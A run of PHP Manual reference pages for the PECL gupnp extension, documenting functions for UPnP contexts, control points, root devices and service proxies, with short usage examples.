(PECL gupnp >= 0.1.0)

gupnp_context_host_path — Start hosting

Description

bool gupnp_context_host_path ( resource $context , string $local_path , string $server_path )

Start hosting local_path at server_path. Files with the path local_path.LOCALE (if they exist) will be served up when LOCALE is specified in the request's Accept-Language header.

Parameters

context

A context identifier, returned by gupnp_context_new().

local_path

Path to the local file or folder to be hosted.

server_path

Web server path where local_path should be hosted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and set host path

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Host current directory */
gupnp_context_host_path($context, "./web", "");

?>

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_unhost_path() - Stop hosting

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_get_subscription_timeout
gupnp_context_new
Gupnp Functions


Create a new context

gupnp_context_host_path
gupnp_context_set_subscription_timeout
Gupnp Functions
PHP Manual

gupnp_context_new

(PECL gupnp >= 0.1.0)

gupnp_context_new — Create a new context

Description

resource gupnp_context_new ([ string $host_ip [, int $port = 0 ]] )

Create a new context with the specified host_ip and port.

Parameters

host_ip

The local host's IP address, or NULL to use the IP address of the first non-loopback network interface.

port

Port to run on, or 0 if you don't care what port is used.

Return Values

A context identifier.

Examples

Example #1 Create new UPnP context

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

?>

Errors/Exceptions

Issues E_WARNING with unable to create context.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_host_path
gupnp_context_set_subscription_timeout
Gupnp Functions


Sets the event subscription timeout

gupnp_context_new
gupnp_context_timeout_add
Gupnp Functions
PHP Manual

gupnp_context_set_subscription_timeout

(PECL gupnp >= 0.1.0)

gupnp_context_set_subscription_timeout — Sets the event subscription timeout

Description

void gupnp_context_set_subscription_timeout ( resource $context , int $timeout )

Sets the event subscription timeout (in seconds) to time out. Note that any client side subscriptions will automatically be renewed.

Parameters

context

A context identifier, returned by gupnp_context_new().

timeout

The event subscription timeout in seconds. Use 0 if you don't want subscriptions to time out.

Return Values

No value is returned.

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_get_subscription_timeout() - Get the event subscription timeout

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_new
gupnp_context_timeout_add
Gupnp Functions


Sets a function to be called at regular intervals

gupnp_context_set_subscription_timeout
gupnp_context_unhost_path
Gupnp Functions
PHP Manual

gupnp_context_timeout_add

(PECL gupnp >= 0.1.0)

gupnp_context_timeout_add — Sets a function to be called at regular intervals

Description

bool gupnp_context_timeout_add ( resource $context , int $timeout , mixed $callback [, mixed $arg ] )

Sets a function to be called at regular intervals.

Parameters

context

A context identifier, returned by gupnp_context_new().

timeout

A timeout in miliseconds.

callback

The callback function calling every timeout period of time. Typically, callback function takes on arg parameter.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and set callback

<?php

$user_data = "user data";

function timeout_cb($arg)
{
    printf("Call timeout_cb, user data: '%s'", $arg);
    return true;
}

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Create root device */
$dev = gupnp_root_device_new($context, "/devicedesc.xml");

/* Set callback for timeout */
gupnp_context_timeout_add($context, 5000, "timeout_cb", $user_data);

/* Run the main loop */
gupnp_root_device_start($dev);

?>

Errors/Exceptions

Issues E_WARNING with not valid callback function.

See Also

  • gupnp_context_new() - Create a new context

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_set_subscription_timeout
gupnp_context_unhost_path
Gupnp Functions


Stop hosting

gupnp_context_timeout_add
gupnp_control_point_browse_start
Gupnp Functions
PHP Manual

gupnp_context_unhost_path

(PECL gupnp >= 0.1.0)

gupnp_context_unhost_path — Stop hosting

Description

bool gupnp_context_unhost_path ( resource $context , string $server_path )

Stop hosting the file or folder at server_path.

Parameters

context

A context identifier, returned by gupnp_context_new().

server_path

Web server path where the file or folder is hosted.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_context_new() - Create a new context
  • gupnp_context_host_path() - Start hosting

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_timeout_add
gupnp_control_point_browse_start
Gupnp Functions


Start browsing

gupnp_context_unhost_path
gupnp_control_point_browse_stop
Gupnp Functions
PHP Manual

gupnp_control_point_browse_start

(PECL gupnp >= 0.1.0)

gupnp_control_point_browse_start — Start browsing

Description

bool gupnp_control_point_browse_start ( resource $cpoint )

Start the search and calls user-defined callback.

Parameters

cpoint

A control point identifier, returned by gupnp_control_point_new().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and start browsing

<?php

function device_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_device_info_get($proxy);

    $type = $info['device_type'];
    $location = $info['location'];

    printf("Device available:\n");
    printf("type:     %s\n", $type);
    printf("location: %s\n", $location);
}

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* We're interested in everything */
$cp = gupnp_control_point_new($context, "ssdp:all");

gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE, 'device_proxy_available_cb');

/* Start for browsing */
gupnp_control_point_browse_start($cp);

?>

See Also

  • gupnp_control_point_new() - Create a new control point
  • gupnp_control_point_browse_stop() - Stop browsing

User Contributed Notes

There are no user contributed notes for this page.
gupnp_context_unhost_path
gupnp_control_point_browse_stop
Gupnp Functions


Stop browsing

gupnp_control_point_browse_start
gupnp_control_point_callback_set
Gupnp Functions
PHP Manual

gupnp_control_point_browse_stop

(PECL gupnp >= 0.1.0)

gupnp_control_point_browse_stop — Stop browsing

Description

bool gupnp_control_point_browse_stop ( resource $cpoint )

Stop the search and calls user-defined callback.

Parameters

cpoint

A control point identifier, returned by gupnp_control_point_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_control_point_new() - Create a new control point
  • gupnp_control_point_browse_start() - Start browsing

User Contributed Notes

There are no user contributed notes for this page.
gupnp_control_point_browse_start
gupnp_control_point_callback_set
Gupnp Functions


Set control point callback

gupnp_control_point_browse_stop
gupnp_control_point_new
Gupnp Functions
PHP Manual

gupnp_control_point_callback_set

(PECL gupnp >= 0.1.0)

gupnp_control_point_callback_set — Set control point callback

Description

bool gupnp_control_point_callback_set ( resource $cpoint , int $signal , mixed $callback [, mixed $arg ] )

Set control point callback function for signal.

Parameters

cpoint

A control point identifier, returned by gupnp_control_point_new().

signal

The value of signal. Signal can be one of the following values:

GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE
Emitted whenever a new device has become available.
GUPNP_SIGNAL_DEVICE_PROXY_UNAVAILABLE
Emitted whenever a device is not available any more.
GUPNP_SIGNAL_SERVICE_PROXY_AVAILABLE
Emitted whenever a new service has become available.
GUPNP_SIGNAL_SERVICE_PROXY_UNAVAILABLE
Emitted whenever a service is not available any more.

callback

The callback function for the certain signal. Typically, callback function takes on two parameters. The proxy parameter's identifier being the first, and the arg second.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create new UPnP context and start browsing

<?php

function device_proxy_available_cb($proxy, $arg)
{
    $info = gupnp_device_info_get($proxy);

    $type = $info['device_type'];
    $location = $info['location'];

    printf("Device available:\n");
    printf("type:     %s\n", $type);
    printf("location: %s\n", $location);
}

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* We're interested in everything */
$cp = gupnp_control_point_new($context, "ssdp:all");

gupnp_control_point_callback_set($cp,
    GUPNP_SIGNAL_DEVICE_PROXY_AVAILABLE, 'device_proxy_available_cb');

/* Start for browsing */
gupnp_control_point_browse_start($cp);

?>

Errors/Exceptions

Issues E_WARNING with not valid callback function.

See Also

  • gupnp_control_point_new() - Create a new control point
  • gupnp_control_point_browse_start() - Start browsing

User Contributed Notes

There are no user contributed notes for this page.
gupnp_control_point_browse_stop
gupnp_control_point_new
Gupnp Functions


Create a new control point

gupnp_control_point_callback_set
gupnp_device_action_callback_set
Gupnp Functions
PHP Manual

gupnp_control_point_new

(PECL gupnp >= 0.1.0)

gupnp_control_point_new — Create a new control point

Description

resource gupnp_control_point_new ( resource $context , string $target )

Create a new control point with the specified target.

Parameters

context

A context identifier, returned by gupnp_context_new().

target

The search target. target should be a service or device name, such as urn:schemas-upnp-org:service:WANIPConnection:1 or urn:schemas-upnp-org:device:MediaRenderer:1.

Return Values

A control point identifier.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_control_point_callback_set
gupnp_device_action_callback_set
Gupnp Functions


Set device callback function

gupnp_control_point_new
gupnp_device_info_get_service
Gupnp Functions
PHP Manual

gupnp_device_action_callback_set

(PECL gupnp >= 0.1.0)

gupnp_device_action_callback_set — Set device callback function

Description

bool gupnp_device_action_callback_set ( resource $root_device , int $signal , string $action_name , mixed $callback [, mixed $arg ] )

Set device callback function for signal and action.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

signal

The value of signal. Signal can be one of the following values:

GUPNP_SIGNAL_ACTION_INVOKED
Emitted whenever an action is invoked. Handler should process action and must call either gupnp_service_action_return() or gupnp_service_action_return_error().
GUPNP_SIGNAL_NOTIFY_FAILED
Emitted whenever notification of a client fails.

action_name

The name of action.

callback

The callback function for the certain signal. Typically, callback function takes on three parameters. The service parameter's identifier being the first, action parameter's identifier (in case GUPNP_SIGNAL_ACTION_INVOKED signal) or error parameter's message (in case GUPNP_SIGNAL_NOTIFY_FAILED signal) being the second, and the arg is third.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING either with not valid callback function or with not valid signal.

See Also

  • gupnp_root_device_new() - Create a new root device

User Contributed Notes

There are no user contributed notes for this page.
gupnp_control_point_new
gupnp_device_info_get_service
Gupnp Functions


Get the service with type

gupnp_device_action_callback_set
gupnp_device_info_get
Gupnp Functions
PHP Manual

gupnp_device_info_get_service

(PECL gupnp >= 0.1.0)

gupnp_device_info_get_service — Get the service with type

Description

resource gupnp_device_info_get_service ( resource $root_device , string $type )

Get the service with type or false if no such device was found.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

type

The type of the service to be retrieved.

Return Values

A service identifier.

Examples

Example #1 Create new UPnP context and get device info service

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Create root device */
$location = "/BinaryLight1.xml";
$dev = gupnp_root_device_new($context, $location);

/* Set root device is available */
gupnp_root_device_set_available($dev, true);

/* Get the switch service from the root device */
$service_type = "urn:schemas-upnp-org:service:SwitchPower:1";
$service = gupnp_device_info_get_service($dev, $service_type);
if (!$service) {
    die("Cannot get SwitchPower1 service\n");
}

?>

User Contributed Notes

There are no user contributed notes for this page.
gupnp_device_action_callback_set
gupnp_device_info_get
Gupnp Functions


Get info of root device

gupnp_device_info_get_service
gupnp_root_device_get_available
Gupnp Functions
PHP Manual

gupnp_device_info_get

(PECL gupnp >= 0.1.0)

gupnp_device_info_get — Get info of root device

Description

array gupnp_device_info_get ( resource $root_device )

Get info of root device.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Return array wich contains the information of the root device (like location, url, udn and etc).

User Contributed Notes

There are no user contributed notes for this page.
gupnp_device_info_get_service
gupnp_root_device_get_available
Gupnp Functions


Check whether root device is available

gupnp_device_info_get
gupnp_root_device_get_relative_location
Gupnp Functions
PHP Manual

gupnp_root_device_get_available

(PECL gupnp >= 0.1.0)

gupnp_root_device_get_available — Check whether root device is available

Description

bool gupnp_root_device_get_available ( resource $root_device )

Get whether or not root_device is available (announcing its presence).

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_set_available() - Set whether or not root_device is available

User Contributed Notes

There are no user contributed notes for this page.
gupnp_device_info_get
gupnp_root_device_get_relative_location
Gupnp Functions


Get the relative location of root device.

gupnp_root_device_get_available
gupnp_root_device_new
Gupnp Functions
PHP Manual

gupnp_root_device_get_relative_location

(PECL gupnp >= 0.1.0)

gupnp_root_device_get_relative_location — Get the relative location of root device.

Description

string gupnp_root_device_get_relative_location ( resource $root_device )

Get the relative location of root device.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

The relative location of root device

User Contributed Notes

There are no user contributed notes for this page.
gupnp_root_device_get_available
gupnp_root_device_new
Gupnp Functions


Create a new root device

gupnp_root_device_get_relative_location
gupnp_root_device_set_available
Gupnp Functions
PHP Manual

gupnp_root_device_new

(PECL gupnp >= 0.1.0)

gupnp_root_device_new — Create a new root device

Description

resource gupnp_root_device_new ( resource $context , string $location , string $description_dir )

Create a new root device, automatically downloading and parsing location.

Parameters

context

A context identifier, returned by gupnp_context_new().

location

Location of the description file for this device, relative to the HTTP root

Return Values

A root device identifier.

Examples

Example #1 Create new UPnP context and get device info service

<?php

/* Create the UPnP context */
$context = gupnp_context_new();

if (!$context) {
 die("Error creating the GUPnP context\n");
}

/* Create root device */
$location = "/BinaryLight1.xml";
$dev = gupnp_root_device_new($context, $location);

?>

See Also

  • gupnp_root_device_set_available() - Set whether or not root_device is available
  • gupnp_root_device_start() - Start main loop
  • gupnp_root_device_stop() - Stop main loop

User Contributed Notes

There are no user contributed notes for this page.
gupnp_root_device_get_relative_location
gupnp_root_device_set_available
Gupnp Functions


Set whether or not root_device is available

gupnp_root_device_new
gupnp_root_device_start
Gupnp Functions
PHP Manual

gupnp_root_device_set_available

(PECL gupnp >= 0.1.0)

gupnp_root_device_set_available — Set whether or not root_device is available

Description

bool gupnp_root_device_set_available ( resource $root_device , bool $available )

Controls whether or not root_device is available (announcing its presence).

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

available

Set TRUE if root_device should be available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_get_available() - Check whether root device is available

User Contributed Notes

There are no user contributed notes for this page.
gupnp_root_device_new
gupnp_root_device_start
Gupnp Functions


Start main loop

gupnp_root_device_set_available
gupnp_root_device_stop
Gupnp Functions
PHP Manual

gupnp_root_device_start

(PECL gupnp >= 0.1.0)

gupnp_root_device_start — Start main loop

Description

bool gupnp_root_device_start ( resource $root_device )

Start root server's main loop.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_stop() - Stop main loop

User Contributed Notes

There are no user contributed notes for this page.
gupnp_root_device_set_available
gupnp_root_device_stop
Gupnp Functions


Stop main loop

gupnp_root_device_start
gupnp_service_action_get
Gupnp Functions
PHP Manual

gupnp_root_device_stop

(PECL gupnp >= 0.1.0)

gupnp_root_device_stop — Stop main loop

Description

bool gupnp_root_device_stop ( resource $root_device )

Stop root server's main loop.

Parameters

root_device

A root device identifier, returned by gupnp_root_device_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_root_device_start() - Start main loop

User Contributed Notes

There are no user contributed notes for this page.
gupnp_root_device_start
gupnp_service_action_get
Gupnp Functions


Retrieves the specified action arguments

gupnp_root_device_stop
gupnp_service_action_return_error
Gupnp Functions
PHP Manual

gupnp_service_action_get

(PECL gupnp >= 0.1.0)

gupnp_service_action_get — Retrieves the specified action arguments

Description

mixed gupnp_service_action_get ( resource $action , string $name , int $type )

Retrieves the specified action arguments.

Parameters

action

A service action identifier.

name

The name of the variable to retrieve.

type

The type of the variable to retrieve. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

Return Values

The value of the variable.

Errors/Exceptions

Issues E_WARNING with not correctly defined type of the variable.

See Also

  • gupnp_service_action_set() - Sets the specified action return values

User Contributed Notes

There are no user contributed notes for this page.
gupnp_root_device_stop
gupnp_service_action_return_error
Gupnp Functions


Return error code

gupnp_service_action_get
gupnp_service_action_return
Gupnp Functions
PHP Manual

gupnp_service_action_return_error

(PECL gupnp >= 0.1.0)

gupnp_service_action_return_error — Return error code

Description

bool gupnp_service_action_return_error ( resource $action , int $error_code [, string $error_description ] )

Return error code.

Parameters

action

A service action identifier.

error_code

The error code. Signal can be one of the following values or user defined:

GUPNP_CONTROL_ERROR_INVALID_ACTION
The action name was invalid.
GUPNP_CONTROL_ERROR_INVALID_ARGS
The action arguments were invalid.
GUPNP_CONTROL_ERROR_OUT_OF_SYNC
Out of sync (deprecated).
GUPNP_CONTROL_ERROR_ACTION_FAILED
The action failed.

error_description

The error description.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_action_return() - Return succesfully

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_action_get
gupnp_service_action_return
Gupnp Functions


Return succesfully

gupnp_service_action_return_error
gupnp_service_action_set
Gupnp Functions
PHP Manual

gupnp_service_action_return

(PECL gupnp >= 0.1.0)

gupnp_service_action_return — Return succesfully

Description

bool gupnp_service_action_return ( resource $action )

Return succesfully.

Parameters

action

A service action identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_action_return_error() - Return error code

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_action_return_error
gupnp_service_action_set
Gupnp Functions


Sets the specified action return values

gupnp_service_action_return
gupnp_service_freeze_notify
Gupnp Functions
PHP Manual

gupnp_service_action_set

(PECL gupnp >= 0.1.0)

gupnp_service_action_set — Sets the specified action return values

Description

bool gupnp_service_action_set ( resource $action , string $name , int $type , mixed $value )

Sets the specified action return values.

Parameters

action

A service action identifier.

name

The name of the variable to retrieve.

type

The type of the variable to retrieve. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

value

The value of the variable to retrieve.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING with neither not correctly defined type of the variable or the value is not corresponding to the defined type.

See Also

  • gupnp_service_action_get() - Retrieves the specified action arguments

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_action_return
gupnp_service_freeze_notify
Gupnp Functions


Freeze new notifications

gupnp_service_action_set
gupnp_service_info_get_introspection
Gupnp Functions
PHP Manual

gupnp_service_freeze_notify

(PECL gupnp >= 0.1.0)

gupnp_service_freeze_notify — Freeze new notifications

Description

bool gupnp_service_freeze_notify ( resource $service )

Causes new notifications to be queued up until gupnp_service_thaw_notify() is called.

Parameters

service

A service identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_notify() - Notifies listening clients
  • gupnp_service_thaw_notify() - Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_action_set
gupnp_service_info_get_introspection
Gupnp Functions


Get resource introspection of service

gupnp_service_freeze_notify
gupnp_service_info_get
Gupnp Functions
PHP Manual

gupnp_service_info_get_introspection

(PECL gupnp >= 0.1.0)

gupnp_service_info_get_introspection — Get resource introspection of service

Description

mixed gupnp_service_info_get_introspection ( resource $proxy [, mixed $callback [, mixed $arg ]] )

Get resource introspection of service or register callback if corresponding parameter was passed.

Parameters

proxy

A service proxy identifier.

callback

The callback function to be called when introspection object is ready. Typically, callback function takes on three parameters. The introspection parameter's identifier being the first, error parameter's message being the second, and the arg is third.

arg

User data for callback.

Return Values

Return true if callback function was defined. Return introspection identifier if callback function was omited.

Errors/Exceptions

Issues E_WARNING with not valid callback function.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_freeze_notify
gupnp_service_info_get
Gupnp Functions


Get full info of service

gupnp_service_info_get_introspection
gupnp_service_introspection_get_state_variable
Gupnp Functions
PHP Manual

gupnp_service_info_get

(PECL gupnp >= 0.1.0)

gupnp_service_info_get — Get full info of service

Description

array gupnp_service_info_get ( resource $proxy )

Get full info of service.

Parameters

proxy

A service proxy identifier.

Return Values

Return array wich contains the information of the service (like location, url, udn and etc).

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_info_get_introspection
gupnp_service_introspection_get_state_variable
Gupnp Functions


Returns the state variable data

gupnp_service_info_get
gupnp_service_notify
Gupnp Functions
PHP Manual

gupnp_service_introspection_get_state_variable

(PECL gupnp >= 0.1.0)

gupnp_service_introspection_get_state_variable — Returns the state variable data

Description

array gupnp_service_introspection_get_state_variable ( resource $introspection , string $variable_name )

Returns the state variable data by the name variable_name in this service.

Parameters

introspection

A introspection identifier.

variable_name

The name of the variable to retreive.

Return Values

Return the state variable data or FALSE.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_info_get
gupnp_service_notify
Gupnp Functions


Notifies listening clients

gupnp_service_introspection_get_state_variable
gupnp_service_proxy_action_get
Gupnp Functions
PHP Manual

gupnp_service_notify

(PECL gupnp >= 0.1.0)

gupnp_service_notify — Notifies listening clients

Description

bool gupnp_service_notify ( resource $service , string $name , int $type , mixed $value )

Notifies listening clients that the property have changed to the specified values.

Parameters

service

A service identifier.

name

The name of the variable.

type

The type of the variable. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

value

The value of the variable.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING with either not correctly defined type of the variable or the value is not corresponding to the defined type.

See Also

  • gupnp_service_freeze_notify() - Freeze new notifications
  • gupnp_service_thaw_notify() - Sends out any pending notifications and stops queuing of new ones.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_introspection_get_state_variable
gupnp_service_proxy_action_get
Gupnp Functions


Send action to the service and get value

gupnp_service_notify
gupnp_service_proxy_action_set
Gupnp Functions
PHP Manual

gupnp_service_proxy_action_get

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_action_get — Send action to the service and get value

Description

mixed gupnp_service_proxy_action_get ( resource $proxy , string $action , string $name , int $type )

Send action with parameters to the service exposed by proxy synchronously and get value.

Parameters

proxy

A service proxy identifier.

action

An action.

name

The action name.

type

The type of the variable to retrieve. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

Return Values

Return value of the action.

Errors/Exceptions

Issues E_WARNING with either not correctly defined type of the action or unable to send action.

See Also

  • gupnp_service_proxy_action_set() - Send action to the service and set value
  • gupnp_service_proxy_send_action() - Send action with multiple parameters synchronously

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_notify
gupnp_service_proxy_action_set
Gupnp Functions


Send action to the service and set value

gupnp_service_proxy_action_get
gupnp_service_proxy_add_notify
Gupnp Functions
PHP Manual

gupnp_service_proxy_action_set

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_action_set — Send action to the service and set value

Description

bool gupnp_service_proxy_action_set ( resource $proxy , string $action , string $name , mixed $value , int $type )

Send action with parameters to the service exposed by proxy synchronously and set value.

Parameters

proxy

A service proxy identifier.

action

An action.

name

The action name.

value

The action value.

type

The type of the action. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING with either not correctly defined type of the action or unable to send action.

See Also

  • gupnp_service_proxy_action_get() - Send action to the service and get value
  • gupnp_service_proxy_send_action() - Send action with multiple parameters synchronously

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_action_get
gupnp_service_proxy_add_notify
Gupnp Functions


Sets up callback for variable change notification

gupnp_service_proxy_action_set
gupnp_service_proxy_callback_set
Gupnp Functions
PHP Manual

gupnp_service_proxy_add_notify

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_add_notify — Sets up callback for variable change notification

Description

bool gupnp_service_proxy_add_notify ( resource $proxy , string $value , int $type , mixed $callback [, mixed $arg ] )

Sets up callback to be called whenever a change notification for variable is recieved.

Parameters

proxy

A service proxy identifier.

value

The variable to add notification for.

type

The type of the variable. Type can be one of the following values:

GUPNP_TYPE_BOOLEAN
Type of the variable is boolean.
GUPNP_TYPE_INT
Type of the variable is integer.
GUPNP_TYPE_LONG
Type of the variable is long.
GUPNP_TYPE_DOUBLE
Type of the variable is double.
GUPNP_TYPE_FLOAT
Type of the variable is float.
GUPNP_TYPE_STRING
Type of the variable is string.

callback

The callback to call when variable changes. Typically, callback function takes on three parameters. The variable parameter being the first, value parameter being the second, and the arg is third.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_remove_notify() - Cancels the variable change notification

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_action_set
gupnp_service_proxy_callback_set
Gupnp Functions


Set service proxy callback for signal

gupnp_service_proxy_add_notify
gupnp_service_proxy_get_subscribed
Gupnp Functions
PHP Manual

gupnp_service_proxy_callback_set

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_callback_set — Set service proxy callback for signal

Description

bool gupnp_service_proxy_callback_set ( resource $proxy , int $signal , mixed $callback [, mixed $arg ] )

Set service proxy callback for signal.

Parameters

proxy

A service proxy identifier.

signal

The value of signal.

GUPNP_SIGNAL_SUBSCRIPTION_LOST
Emitted whenever the subscription to this service has been lost due to an error condition.

callback

The callback function for the certain signal. Typically, callback function takes on two parameters. error parameter's message being the first, and the arg is second.

arg

User data for callback.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Issues E_WARNING either with not valid callback function or with not valid signal.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_add_notify
gupnp_service_proxy_get_subscribed
Gupnp Functions


Check whether subscription is valid to the service

gupnp_service_proxy_callback_set
gupnp_service_proxy_remove_notify
Gupnp Functions
PHP Manual

gupnp_service_proxy_get_subscribed

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_get_subscribed — Check whether subscription is valid to the service

Description

bool gupnp_service_proxy_get_subscribed ( resource $proxy )

Check whether subscription is valid to the service.

Parameters

proxy

A service proxy identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_set_subscribed() - (Un)subscribes to the service.

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_callback_set
gupnp_service_proxy_remove_notify
Gupnp Functions


Cancels the variable change notification

gupnp_service_proxy_get_subscribed
gupnp_service_proxy_send_action
Gupnp Functions
PHP Manual

gupnp_service_proxy_remove_notify

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_remove_notify — Cancels the variable change notification

Description

bool gupnp_service_proxy_remove_notify ( resource $proxy , string $value )

Cancels the variable change notification.

Parameters

proxy

A service proxy identifier.

value

The variable to add notification for.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_add_notify() - Sets up callback for variable change notification

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_get_subscribed
gupnp_service_proxy_send_action
Gupnp Functions


Send action with multiple parameters synchronously

gupnp_service_proxy_remove_notify
gupnp_service_proxy_set_subscribed
Gupnp Functions
PHP Manual

gupnp_service_proxy_send_action

(PECL gupnp >= 0.2.0)

gupnp_service_proxy_send_action — Send action with multiple parameters synchronously

Description

array gupnp_service_proxy_send_action ( resource $proxy , string $action , array $in_params , array $out_params )

Send action action with parameters in_params to the service exposed by proxy synchronously and return out_params with values or FALSE on error.

Parameters

proxy

A service proxy identifier.

action

An action.

in_params

An array of in parameters. Each entry in in_params is supposed to an array containing name, type and value of the parameters.

out_params

An array of out parameters. Each entry in out_params is supposed to an array containing name and type of the parameters.

Return Values

Return out_params array with values or FALSE on error.

Errors/Exceptions

Issues E_WARNING with either not correctly defined in_params and out_params or unable to send action.

See Also

  • gupnp_service_proxy_action_get() - Send action to the service and get value
  • gupnp_service_proxy_action_set() - Send action to the service and set value

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_remove_notify
gupnp_service_proxy_set_subscribed
Gupnp Functions


(Un)subscribes to the service.

gupnp_service_proxy_send_action
gupnp_service_thaw_notify
Gupnp Functions
PHP Manual

gupnp_service_proxy_set_subscribed

(PECL gupnp >= 0.1.0)

gupnp_service_proxy_set_subscribed — (Un)subscribes to the service.

Description

bool gupnp_service_proxy_set_subscribed ( resource $proxy , bool $subscribed )

(Un)subscribes to the service.

Parameters

proxy

A service proxy identifier.

subscribed

Set TRUE to subscribe to this service.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_proxy_get_subscribed() - Check whether subscription is valid to the service

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_send_action
gupnp_service_thaw_notify
Gupnp Functions


Sends out any pending notifications and stops queuing of new ones.

gupnp_service_proxy_set_subscribed
HTTP
Gupnp Functions
PHP Manual

gupnp_service_thaw_notify

